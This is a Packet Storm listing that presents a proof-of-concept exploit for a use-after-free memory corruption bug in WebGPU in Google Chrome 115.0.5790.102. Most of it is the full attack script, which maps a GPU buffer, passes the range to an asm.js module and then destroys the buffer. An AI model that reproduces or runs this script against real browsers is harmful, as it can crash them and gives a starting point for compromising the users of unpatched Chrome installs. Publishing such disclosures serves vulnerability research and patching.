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Google Chrome 115.0.5790.102 Memory Corruption

Google Chrome version 115.0.5790.102 WebGPU use-after-free memory corruption proof of concept exploit.

Packet Storm
#web#google#auth#chrome
<script>/*Google Chrome WebGPU Memory CorruptionAuthor: Jean Pereira <[email protected]>Released: 2023/06/25Vendor: https://www.google.comSoftware: https://www.google.com/chrome/Tested with version: 115.0.5790.102 (latest version)*/navigator.gpu.requestAdapter().then(a => {  a.requestDevice().then(d => {    const b = d.createBuffer({      mappedAtCreation: true,      size: 0x1000,      usage: GPUBufferUsage.MAP_WRITE,    })    function asm(s, a, b) {      'use asm'      var arr = new s.Uint32Array(b)      function nop(x) {        x = x | 0      }      return nop    }    asm({      Uint32Array: Uint32Array    }, {}, b.getMappedRange())    b.destroy()  })})</script>

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Ubuntu Security Notice USN-7089-6